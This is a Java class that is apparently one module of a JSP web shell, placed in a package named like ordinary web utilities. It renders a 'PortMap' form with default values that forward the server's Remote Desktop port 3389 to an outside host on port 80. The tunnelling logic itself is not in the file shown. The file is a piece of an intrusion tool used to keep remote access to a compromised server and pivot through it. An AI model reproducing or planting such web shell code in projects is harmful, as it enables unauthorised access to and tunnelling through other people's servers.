package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;
import java.net.InetAddress;

//VMapPort
public class VmpInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            Object localIP = session.getAttribute("localIP");
            Object localPort = session.getAttribute("localPort");
            Object remoteIP = session.getAttribute("remoteIP");
            Object remotePort = session.getAttribute("remotePort");
            Object done = session.getAttribute("done");

            session.removeAttribute("localIP");
            session.removeAttribute("localPort");
            session.removeAttribute("remoteIP");
            session.removeAttribute("remotePort");
            session.removeAttribute("done");

            if (Utils.isEmpty(localIP))
                localIP = InetAddress.getLocalHost().getHostAddress();
            if (Utils.isEmpty(localPort))
                localPort = "3389";
            if (Utils.isEmpty(remoteIP))
                remoteIP = "www.forjj.com";
            if (Utils.isEmpty(remotePort))
                remotePort = "80";
            if (!Utils.isEmpty(done))
                Utils.outMsg(out, done.toString());

            out.println("<form action=\"" + SHELL_NAME + "\" method=\"post\">" +
                    "<input type=\"hidden\" name=\"o\" value=\"mapPort\">" +
                    "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">" +
                    "  <tr>" +
                    "    <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;</h2>" +
                    "      <div id=\"hOWTm\">" +
                    "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">" +
                    "      <tr align=\"center\">" +
                    "        <td style=\"width:5%\"></td>" +
                    "        <td style=\"width:20%\" align=\"left\">Local Ip :" +
                    "          <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\"" + localIP + "\" />" +
                    "          </td>" +
                    "        <td style=\"width:20%\" align=\"left\">Local Port :" +
                    "          <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\"" + localPort + "\" /></td>" +
                    "        <td style=\"width:20%\" align=\"left\">Remote Ip :" +
                    "          <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\"" + remoteIP + "\" /></td>" +
                    "        <td style=\"width:20%\" align=\"left\">Remote Port :" +
                    "          <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\"" + remotePort + "\" /></td>" +
                    "      </tr>" +
                    "      <tr align=\"center\">" +
                    "        <td colspan=\"5\"><br/>" +
                    "          <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />" +
                    "			<input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='" + SHELL_NAME + "?o=smp'\" class=\"bt\" />" +
                    "    </td>" +
                    "    </tr>" +
                    "	</table>" +
                    "    </div>" +
                    "</td>" +
                    "</tr>" +
                    "</table>" +
                    "</form>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}